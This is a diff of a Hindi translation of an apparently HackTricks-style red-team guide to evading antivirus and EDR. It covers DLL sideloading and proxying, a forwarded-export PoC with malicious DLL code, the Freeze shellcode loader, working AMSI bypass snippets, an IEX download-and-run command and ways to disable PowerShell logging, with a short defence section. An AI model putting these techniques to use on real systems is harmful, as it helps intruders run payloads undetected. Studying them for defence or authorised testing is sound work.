अब हम कुछ ऐसे ट्रिक्स दिखाएंगे जो आप DLL फाइलों के साथ इस्तेमाल कर सकते हैं ताकि आप और भी अधिक stealthy बन सकें।
|
||||
अब हम कुछ ट्रिक्स दिखाएँगे जो आप DLL फाइल्स के साथ इस्तेमाल कर सकते हैं ताकि आप ज़्यादा stealthy रहें।
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** loader द्वारा उपयोग किए जाने वाले DLL search order का फायदा उठाता है, जिसमें victim application और malicious payload(s) को एक दूसरे के साथ रखकर इस्तेमाल किया जाता है।
|
||||
**DLL Sideloading** loader द्वारा उपयोग किए जाने वाले DLL search order का फायदा उठाती है — इसके लिए victim application और malicious payload(s) को एक दूसरे के साथ ही रखें।
|
||||
|
||||
आप [Siofra](https://github.com/Cybereason/siofra) और नीचे दिए गए powershell script का उपयोग करके DLL Sideloading के प्रति susceptible programs की जाँच कर सकते हैं:
|
||||
आप susceptible programs को DLL Sideloading के लिए [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित PowerShell script का उपयोग करके चेक कर सकते हैं:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
यह कमांड "C:\Program Files\\" के भीतर DLL hijacking के प्रति संवेदनशील programs की सूची और वे किन DLL फाइलों को लोड करने की कोशिश करते हैं, यह आउटपुट करेगा।
|
||||
यह कमांड "C:\Program Files\\" के अंदर DLL hijacking के प्रति संवेदनशील कार्यक्रमों की सूची और वे किन DLL फ़ाइलों को लोड करने की कोशिश करते हैं, आउटपुट करेगा।
|
||||
|
||||
मैं दृढ़ता से सुझाव देता/देती हूँ कि आप **explore DLL Hijackable/Sideloadable programs yourself**, यह technique यदि सही ढंग से किया जाए तो काफी stealthy होता है, पर यदि आप publicly known DLL Sideloadable programs का उपयोग करेंगे तो पकड़े जाने की संभावना बढ़ जाती है।
|
||||
मैं दृढ़ता से सलाह देता/देती हूँ कि आप स्वयं **DLL Hijackable/Sideloadable programs** का अन्वेषण करें; यह तकनीक सही ढंग से की जाए तो काफी stealthy है, लेकिन यदि आप सार्वजनिक रूप से ज्ञात DLL Sideloadable प्रोग्राम्स का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
|
||||
|
||||
सिर्फ किसी program के अपेक्षित नाम वाली malicious DLL रख देने भर से आपका payload नहीं चलेगा, क्योंकि program उस DLL के अंदर कुछ specific functions की उम्मीद करता है; इस समस्या को हल करने के लिए हम एक और technique जिसका नाम **DLL Proxying/Forwarding** है, उपयोग करेंगे।
|
||||
केवल उस नाम की एक malicious DLL रख देने से जो कोई प्रोग्राम लोड करने की उम्मीद करता है, आपका payload नहीं चलेगा, क्योंकि प्रोग्राम उस DLL में कुछ विशिष्ट फ़ंक्शन्स की अपेक्षा करता है; इस समस्या को हल करने के लिए, हम एक अन्य तकनीक का उपयोग करेंगे जिसे **DLL Proxying/Forwarding** कहा जाता है।
|
||||
|
||||
**DLL Proxying** proxy (and malicious) DLL से original DLL को program द्वारा किए गए calls को आगे भेजता है, इस तरह program की functionality बनी रहती है और आपके payload के execution को संभाला जा सकता है।
|
||||
**DLL Proxying** प्रोग्राम द्वारा किए गए कॉल्स को proxy (and malicious) DLL से मूल DLL पर फॉरवर्ड करता है, इस प्रकार प्रोग्राम की कार्यक्षमता बनाए रखता है और आपके payload के निष्पादन को संभालने में सक्षम होता है।
|
||||
|
||||
मैं [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project का उपयोग करूँगा/करूँगी जो [@flangvik](https://twitter.com/Flangvik/) द्वारा है।
|
||||
I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
ये वे कदम हैं जो मैंने उठाए:
|
||||
```
|
||||
@ -98,7 +101,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
आखिरी कमांड हमें 2 फ़ाइलें देगा: एक DLL source code template, और मूल पुनर्नामित DLL।
|
||||
अंतिम कमांड हमें 2 फ़ाइलें देगा: एक DLL स्रोत कोड टेम्पलेट, और मूल नाम बदलकर रखी गई DLL।
|
||||
|
||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
@ -108,38 +111,38 @@ These are the results:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
|
||||
Both our shellcode ([SGN](https://github.com/EgeBalci/sgn) से encoded) और proxy DLL का [antiscan.me](https://antiscan.me) पर 0/26 Detection rate है! मैं इसे सफलता कहूँगा।
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> मैं **दृढ़ता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) जो DLL Sideloading के बारे में है देखें और साथ ही [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) भी देखें ताकि हमने जो बात की है उसको और अधिक गहराई में समझ सकें।
|
||||
> मैं **दृढ़ता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) देखें DLL Sideloading के बारे में और [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) भी देखें ताकि हमने जो चर्चा की है उसके बारे में और अधिक गहराई से जान सकें।
|
||||
|
||||
### Abusing Forwarded Exports (ForwardSideLoading)
|
||||
|
||||
Windows PE modules ऐसे functions export कर सकते हैं जो दरअसल "forwarders" होते हैं: कोड की ओर इशारा करने के बजाय, export entry में `TargetDll.TargetFunc` के रूप में एक ASCII string होती है। जब कोई caller उस export को resolve करता है, तो Windows loader:
|
||||
Windows PE modules ऐसे functions को export कर सकते हैं जो वास्तव में "forwarders" होते हैं: कोड की ओर इशारा करने के बजाय, export एंट्री में `TargetDll.TargetFunc` के रूप में एक ASCII string होता है। जब कोई caller उस export को resolve करता है, तो Windows loader:
|
||||
|
||||
- Load `TargetDll` यदि यह पहले से loaded नहीं है
|
||||
- उससे `TargetFunc` को resolve करेगा
|
||||
- यदि `TargetDll` पहले से लोड नहीं है तो इसे लोड करेगा
|
||||
- और उससे `TargetFunc` को resolve करेगा
|
||||
|
||||
समझने के लिए प्रमुख व्यवहार:
|
||||
- यदि `TargetDll` एक KnownDLL है, तो यह protected KnownDLLs namespace से प्रदान किया जाता है (उदा., ntdll, kernelbase, ole32).
|
||||
- यदि `TargetDll` KnownDLL नहीं है, तो सामान्य DLL search order प्रयोग में लाया जाता है, जिसमें उस module की directory भी शामिल है जो forward resolution कर रहा है।
|
||||
समझने के लिए मुख्य व्यवहार:
|
||||
- यदि `TargetDll` कोई KnownDLL है, तो यह protected KnownDLLs namespace से प्रदान किया जाता है (उदा., ntdll, kernelbase, ole32).
|
||||
- यदि `TargetDll` KnownDLL नहीं है, तो सामान्य DLL खोज क्रम उपयोग किया जाता है, जिसमें उस मॉड्यूल की डायरेक्टरी शामिल है जो forward resolution कर रहा है।
|
||||
|
||||
यह एक indirect sideloading primitive को सक्षम करता है: एक signed DLL खोजें जो ऐसी function export करता हो जिसे non-KnownDLL module name की ओर forward किया गया हो, फिर उस signed DLL को उसी directory में रखें जहाँ एक attacker-controlled DLL हो जिसका नाम forwarded target module के बिल्कुल समान हो। जब forwarded export invoke किया जाता है, loader forward को resolve करता है और उसी directory से आपकी DLL को लोड करता है, जिससे आपकी DllMain execute होती है।
|
||||
यह एक indirect sideloading primitive सक्षम करता है: एक signed DLL खोजें जो किसी non-KnownDLL module नाम की ओर forwarded function export करता हो, फिर उस signed DLL को उसी डायरेक्टरी में उस attacker-controlled DLL के साथ रखें जिसका नाम forwarded target module के नाम के बिल्कुल समान हो। जब forwarded export invoke किया जाता है, तो loader forward को resolve करके उसी डायरेक्टरी से आपकी DLL load कर लेता है और आपकी DllMain execute होती है।
|
||||
|
||||
Example observed on Windows 11:
|
||||
```
|
||||
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
`NCRYPTPROV.dll` KnownDLL नहीं है, इसलिए इसे सामान्य खोज क्रम के माध्यम से हल किया जाता है।
|
||||
`NCRYPTPROV.dll` एक KnownDLL नहीं है, इसलिए इसे सामान्य खोज क्रम के माध्यम से सुलझाया जाता है।
|
||||
|
||||
PoC (कॉपी-पेस्ट):
|
||||
1) साइन किए गए सिस्टम DLL को एक लिखने योग्य फ़ोल्डर में कॉपी करें
|
||||
PoC (copy-paste):
|
||||
1) साइन की गई सिस्टम DLL को एक लिखने योग्य फ़ोल्डर में कॉपी करें
|
||||
```
|
||||
copy C:\Windows\System32\keyiso.dll C:\test\
|
||||
```
|
||||
2) उसी फ़ोल्डर में एक दुर्भावनापूर्ण `NCRYPTPROV.dll` रखें। एक न्यूनतम DllMain code execution पाने के लिए पर्याप्त है; DllMain को trigger करने के लिए forwarded function को implement करने की आवश्यकता नहीं है।
|
||||
2) उसी फ़ोल्डर में एक दुर्भावनापूर्ण `NCRYPTPROV.dll` रखें। एक न्यूनतम DllMain code execution के लिए पर्याप्त है; DllMain को ट्रिगर करने के लिए आपको forwarded function को लागू करने की ज़रूरत नहीं है।
|
||||
```c
|
||||
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
||||
#include <windows.h>
|
||||
@ -151,35 +154,35 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
3) साइन किए गए LOLBin के साथ फॉरवर्ड ट्रिगर करें:
|
||||
3) साइन किए गए LOLBin के साथ forward को ट्रिगर करें:
|
||||
```
|
||||
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
||||
```
|
||||
प्रेक्षित व्यवहार:
|
||||
- rundll32 (signed) side-by-side `keyiso.dll` (signed) को लोड करता है
|
||||
- जब `KeyIsoSetAuditingInterface` को resolve किया जा रहा है, तो loader forward को फॉलो करके `NCRYPTPROV.SetAuditingInterface` पर जाता है
|
||||
- उसके बाद loader `NCRYPTPROV.dll` को `C:\test` से लोड करता है और इसकी `DllMain` को execute करता है
|
||||
- अगर `SetAuditingInterface` implemented नहीं है, तो आपको "missing API" error केवल तब मिलेगा जब `DllMain` पहले ही चल चुका होगा
|
||||
- जब `KeyIsoSetAuditingInterface` को रिज़ॉल्व किया जा रहा है, तो लोडर forward को `NCRYPTPROV.SetAuditingInterface` की ओर फॉलो करता है
|
||||
- लोडर फिर `C:\test` से `NCRYPTPROV.dll` को लोड करता है और इसका `DllMain` execute करता है
|
||||
- यदि `SetAuditingInterface` लागू नहीं है, तो आपको "missing API" error केवल तब मिलेगा जब `DllMain` पहले ही चल चुका होगा
|
||||
|
||||
Hunting tips:
|
||||
- उन forwarded exports पर ध्यान दें जहाँ target module KnownDLL नहीं है। KnownDLLs सूची `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` के अंतर्गत दी गई है।
|
||||
- आप forwarded exports को enumerate करने के लिए निम्न tooling का उपयोग कर सकते हैं:
|
||||
- उन forwarded exports पर फोकस करें जहाँ target module KnownDLL नहीं है। KnownDLLs `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` के तहत सूचीबद्ध हैं।
|
||||
- आप forwarded exports को निम्न उपकरणों से सूचीबद्ध कर सकते हैं:
|
||||
```
|
||||
dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
- उम्मीदवार खोजने के लिए Windows 11 forwarder इन्वेंटरी देखें: https://hexacorn.com/d/apis_fwd.txt
|
||||
|
||||
डिटेक्शन/रक्षा के विचार:
|
||||
- LOLBins (e.g., rundll32.exe) के उन मामलों पर निगरानी रखें जहाँ यह non-system paths से signed DLLs लोड करता है, और फिर उसी डायरेक्टरी से उसी base name वाले non-KnownDLLs को लोड करता है
|
||||
- निम्नलिखित process/module श्रृंखलाओं पर अलर्ट करें: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
|
||||
- code integrity policies (WDAC/AppLocker) लागू करें और application डायरेक्टरीज़ में write+execute को अस्वीकार करें
|
||||
पता लगाने/रक्षा के विचार:
|
||||
- LOLBins (e.g., rundll32.exe) को मॉनिटर करें जब वे non-system paths से signed DLLs लोड करते हैं, और फिर उसी डायरेक्टरी से उसी base name वाले non-KnownDLLs को लोड किया जाता है
|
||||
- ऐसे process/module chains पर अलर्ट करें: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` user-writable paths के तहत
|
||||
- कोड इंटीग्रिटी नीतियों को लागू करें (WDAC/AppLocker) और application directories में write+execute को नकारें
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
|
||||
|
||||
आप Freeze का उपयोग अपने shellcode को गुप्त तरीके से लोड और निष्पादित करने के लिए कर सकते हैं।
|
||||
आप Freeze का उपयोग अपनी shellcode को गुप्त तरीके से लोड और निष्पादित करने के लिए कर सकते हैं।
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -189,13 +192,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Evasion बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है वह कल डिटेक्ट हो सकता है, इसलिए केवल एक ही टूल पर भरोसा मत करो — अगर संभव हो तो multiple evasion techniques को chain करने की कोशिश करो।
|
||||
> Evasion सिर्फ एक बिल्ली और चूहे का खेल है, जो आज काम करता है वो कल डिटेक्ट हो सकता है, इसलिए कभी केवल एक ही टूल पर निर्भर न रहें; अगर संभव हो तो कई evasion तकनीकों को चेन करें।
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI को "fileless malware" को रोकने के लिए बनाया गया था. शुरुआत में, AVs केवल डिस्क पर मौजूद फाइलों को स्कैन कर पाते थे, इसलिए अगर आप किसी तरह payloads को directly in-memory execute कर देते थे, तो AV कुछ भी करने में असमर्थ था क्योंकि उसे पर्याप्त visibility नहीं मिलती थी।
|
||||
AMSI को [fileless malware](https://en.wikipedia.org/wiki/Fileless_malware) को रोकने के लिए बनाया गया था। शुरुआत में, AV सिर्फ **files on disk** को स्कैन करने में सक्षम थे, इसलिए अगर आप किसी तरह payloads को **directly in-memory** execute कर लेते, तो AV कुछ नहीं कर सकता था, क्योंकि उसे पर्याप्त visibility नहीं मिलती थी।
|
||||
|
||||
The AMSI feature Windows के इन components में integrated है।
|
||||
The AMSI feature is integrated into these components of Windows.
|
||||
|
||||
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
|
||||
- PowerShell (scripts, interactive use, and dynamic code evaluation)
|
||||
@ -203,39 +206,39 @@ The AMSI feature Windows के इन components में integrated है।
|
||||
- JavaScript and VBScript
|
||||
- Office VBA macros
|
||||
|
||||
यह antivirus solutions को script behavior inspect करने की अनुमति देता है क्योंकि यह script contents को एक ऐसी form में expose करता है जो unencrypted और unobfuscated होती है।
|
||||
यह antivirus समाधानों को स्क्रिप्ट के व्यवहार को निरीक्षित करने की अनुमति देता है, स्क्रिप्ट सामग्री को एक ऐसे रूप में एक्सपोज़ करके जो अनएन्क्रिप्टेड और अनऑब्फ़सकेटेड दोनों हो।
|
||||
|
||||
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` Windows Defender पर निम्न alert पैदा करेगा।
|
||||
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ध्यान दें कि यह `amsi:` को prepend करता है और फिर उस executable का path दिखाता है जिससे script run हुआ था — इस case में, powershell.exe
|
||||
ध्यान दें कि यह `amsi:` को प्रीपेन्ड करता है और फिर उस executable का path दिखाता है जिससे स्क्रिप्ट चली — इस केस में powershell.exe
|
||||
|
||||
हमने कोई फाइल disk पर drop नहीं की, पर फिर भी in-memory में AMSI की वजह से पकड़े गए।
|
||||
हमने कोई फाइल disk पर नहीं छोड़ी, फिर भी AMSI के कारण in-memory में पकड़े गए।
|
||||
|
||||
इसके अलावा, .NET 4.8 से शुरू होकर, C# code भी AMSI के माध्यम से run होता है। यह `Assembly.Load(byte[])` जैसी in-memory execution को भी प्रभावित करता है। इसलिए यदि आप AMSI से बचना चाहते हैं तो lower versions of .NET (जैसे 4.7.2 या नीचे) का उपयोग करने की सलाह दी जाती है।
|
||||
इसके अलावा, **.NET 4.8** से शुरू होकर, C# code भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` के माध्यम से in-memory execution को भी प्रभावित करता है। इसलिए in-memory execution के लिए पुराने .NET वर्शन (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सलाह दी जाती है यदि आप AMSI से बचना चाहते हैं।
|
||||
|
||||
There are a couple of ways to get around AMSI:
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
चूंकि AMSI मुख्यतः static detections पर काम करता है, इसलिए जिन scripts को आप load करने की कोशिश कर रहे हैं उन्हें modify करना detection से बचने का एक अच्छा तरीका हो सकता है।
|
||||
चूँकि AMSI मुख्यतः static detections पर काम करता है, इसलिए आप जो स्क्रिप्ट लोड करने की कोशिश करते हैं उन्हें बदलना detection से बचने का एक अच्छा तरीका हो सकता है।
|
||||
|
||||
हालाँकि, AMSI के पास scripts को multiple layers होने पर भी unobfuscate करने की capability है, इसलिए obfuscation कभी-कभी एक खराब विकल्प हो सकता है — यह निर्भर करता है कि इसे कैसे किया गया है। इससे इसे evade करना हमेशा straightforward नहीं होता। हालांकि कभी-कभी बस कुछ variable names बदल देने से भी काम चल जाता है, इसलिए यह इस पर निर्भर करता है कि कितना कुछ flagged हुआ है।
|
||||
हालाँकि, AMSI के पास scripts को unobfuscating करने की क्षमता है भले ही उनमें कई परतें हों, इसलिए obfuscation बुरा विकल्प हो सकता है यह इस बात पर निर्भर करता है कि कैसे किया गया है। इससे इसे evade करना आसान नहीं रहता। हालाँकि कभी-कभी बस कुछ variable names बदलने भर से काम हो जाता है, इसलिए यह निर्भर करता है कि कितनी चीजें flagged हुई हैं।
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
AMSI को powershell (और cscript.exe, wscript.exe, आदि) process में एक DLL लोड करके implement किया गया है, इसलिए unprivileged user के रूप में भी इसे tamper करना आसान है। AMSI की इस implementation flaw की वजह से researchers ने AMSI scanning को evade करने के कई तरीके ढूंढे हैं।
|
||||
चूँकि AMSI को powershell (also cscript.exe, wscript.exe, etc.) process में एक DLL लोड करके implement किया गया है, इसलिए इसे बिना उच्च privileges के भी आसानी से टेम्पर किया जा सकता है। AMSI की इस implementation flaw के कारण researchers ने AMSI scanning से बचने के कई तरीके खोजे हैं।
|
||||
|
||||
Forcing an Error
|
||||
**Forcing an Error**
|
||||
|
||||
AMSI initialization को fail होने के लिए मजबूर करना (amsiInitFailed) इस परिणाम में होगा कि current process के लिए कोई scan initiate नहीं होगा। Originally यह Matt Graeber द्वारा disclose किया गया था और Microsoft ने इसके व्यापक उपयोग को रोकने के लिए एक signature विकसित किया है।
|
||||
AMSI initialization को fail करने के लिए मजबूर करना (amsiInitFailed) यह नतीजा देगा कि current process के लिए कोई scan initiate नहीं होगा। मूलतः इसे [Matt Graeber](https://twitter.com/mattifestation) ने डिस्क्लोज़ किया था और Microsoft ने इसके व्यापक उपयोग को रोकने के लिए एक signature विकसित किया है।
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
एक ही powershell कोड की लाइन ने वर्तमान powershell प्रक्रिया के लिए AMSI को अनुपयोगी बना दिया। यह लाइन बेशक AMSI द्वारा स्वयं फ्लैग की जा चुकी है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन आवश्यक हैं।
|
||||
केवल एक लाइन powershell कोड ने वर्तमान powershell प्रक्रिया के लिए AMSI को अनुपयोगी कर दिया। यह लाइन, ज़ाहिर है, AMSI द्वारा स्वयं फ़्लैग की जा चुकी है, इसलिए इस technique का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
|
||||
|
||||
यहाँ एक संशोधित AMSI bypass है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
|
||||
यहाँ एक संशोधित AMSI bypass है जिसे मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
|
||||
```bash
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
@ -249,78 +252,77 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
ध्यान रखें कि जब यह पोस्ट प्रकाशित होगी तो यह शायद फ्लैग हो जाएगा, इसलिए अगर आपकी योजना अनडिटेक्टेड रहना है तो आप किसी भी कोड को प्रकाशित न करें।
|
||||
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
यह तकनीक मूल रूप से [@RastaMouse](https://twitter.com/_RastaMouse/) द्वारा खोजी गई थी और इसमें amsi.dll में "AmsiScanBuffer" फ़ंक्शन का पता लगाना शामिल है (जो उपयोगकर्ता-प्रदान किए गए इनपुट की स्कैनिंग के लिए जिम्मेदार है) और उसे उन निर्देशों से ओवरराइट करना कि वह E_INVALIDARG को रिटर्न करे; इस तरह, वास्तविक स्कैन का परिणाम 0 लौटाएगा, जिसे साफ़ परिणाम के रूप में समझा जाता है।
|
||||
यह तकनीक मूल रूप से [@RastaMouse](https://twitter.com/_RastaMouse/) द्वारा खोजी गई थी और इसमें amsi.dll में "AmsiScanBuffer" फ़ंक्शन का पता लगाना शामिल है (जो उपयोगकर्ता द्वारा दिए गए इनपुट को स्कैन करने के लिए जिम्मेदार है) और इसे E_INVALIDARG कोड लौटाने वाले निर्देशों से ओवरराइट कर देना। इस तरह असल स्कैन का परिणाम 0 लौटाएगा, जिसे एक साफ़ परिणाम माना जाता है।
|
||||
|
||||
> [!TIP]
|
||||
> कृपया पढ़ें [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) अधिक विस्तृत व्याख्या के लिए।
|
||||
> कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
|
||||
|
||||
AMSI को Powershell के साथ बायपास करने के लिए और भी कई तकनीकें हैं, इनके बारे में अधिक जानने के लिए [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) देखें।
|
||||
AMSI को bypass करने के लिए powershell के साथ कई अन्य तकनीकें भी हैं; इनके बारे में और जानने के लिए [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) देखें।
|
||||
|
||||
यह टूल [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) भी AMSI को बायपास करने वाली स्क्रिप्ट जेनरेट करता है।
|
||||
यह टूल [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) भी AMSI को bypass करने वाली स्क्रिप्ट जनरेट करता है।
|
||||
|
||||
**डिटेक्ट की गई सिग्नेचर को हटाएँ**
|
||||
**Remove the detected signature**
|
||||
|
||||
आप वर्तमान प्रक्रिया की मेमोरी से डिटेक्ट की गई AMSI सिग्नेचर को हटाने के लिए जैसे टूल्स **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** का उपयोग कर सकते हैं। यह टूल वर्तमान प्रक्रिया की मेमोरी में AMSI सिग्नेचर को स्कैन करके उसे NOP इंस्ट्रक्शन्स से ओवरराइट कर देता है, जिससे वह प्रभावी रूप से मेमोरी से हटा दिया जाता है।
|
||||
आप वर्तमान प्रोसेस की मेमोरी से पहचानी गई AMSI सिग्नेचर को हटाने के लिए **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे टूल का उपयोग कर सकते हैं। यह टूल वर्तमान प्रोसेस की मेमोरी में AMSI सिग्नेचर को स्कैन करके उसे NOP निर्देशों से ओवरराइट कर देता है, जिससे वह प्रभावी रूप से मेमोरी से हट जाता है।
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
आप AMSI का उपयोग करने वाले AV/EDR उत्पादों की सूची **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** पर पा सकते हैं।
|
||||
AMSI का उपयोग करने वाले AV/EDR products की सूची आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** में पा सकते हैं।
|
||||
|
||||
**Powershell version 2 का उपयोग करें**
|
||||
यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपनी स्क्रिप्ट्स को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप यह कर सकते हैं:
|
||||
**Use Powershell version 2**
|
||||
यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपनी स्क्रिप्ट्स को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप इसे इस तरह कर सकते हैं:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS Logging
|
||||
## PS लॉगिंग
|
||||
|
||||
PowerShell logging एक ऐसी सुविधा है जो सिस्टम पर चलाए गए सभी PowerShell कमांड्स को लॉग करने की अनुमति देती है। यह ऑडिटिंग और समस्या निवारण के लिए उपयोगी हो सकती है, लेकिन यह उन attackers के लिए भी एक **समस्या हो सकती है जो detection से बचना चाहते हैं**।
|
||||
PowerShell logging एक ऐसी सुविधा है जो आपको सिस्टम पर निष्पादित सभी PowerShell कमांड्स को लॉग करने की अनुमति देती है। यह auditing और troubleshooting के लिए उपयोगी हो सकती है, लेकिन यह उन हमलावरों के लिए भी एक समस्या हो सकती है जो detection से बचना चाहते हैं।
|
||||
|
||||
PowerShell लॉगिंग को बायपास करने के लिए, आप निम्न तकनीकों का उपयोग कर सकते हैं:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: आप इसके लिए [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) जैसे टूल का उपयोग कर सकते हैं।
|
||||
- **Use Powershell version 2**: अगर आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने scripts को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप ऐसा कर सकते हैं: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: Use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) to spawn a powershell withuot defenses (this is what `powerpick` from Cobal Strike uses).
|
||||
PowerShell logging को बायपास करने के लिए आप निम्न तकनीकों का उपयोग कर सकते हैं:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: आप इस उद्देश्य के लिए [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) जैसे टूल का उपयोग कर सकते हैं।
|
||||
- **Use Powershell version 2**: यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने scripts को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप यह कर सकते हैं: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: UnmanagedPowerShell का उपयोग कर एक defenses-रहित powershell स्पॉन करें: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) (यही वह तरीका है जो `powerpick` from Cobal Strike उपयोग करता है)।
|
||||
|
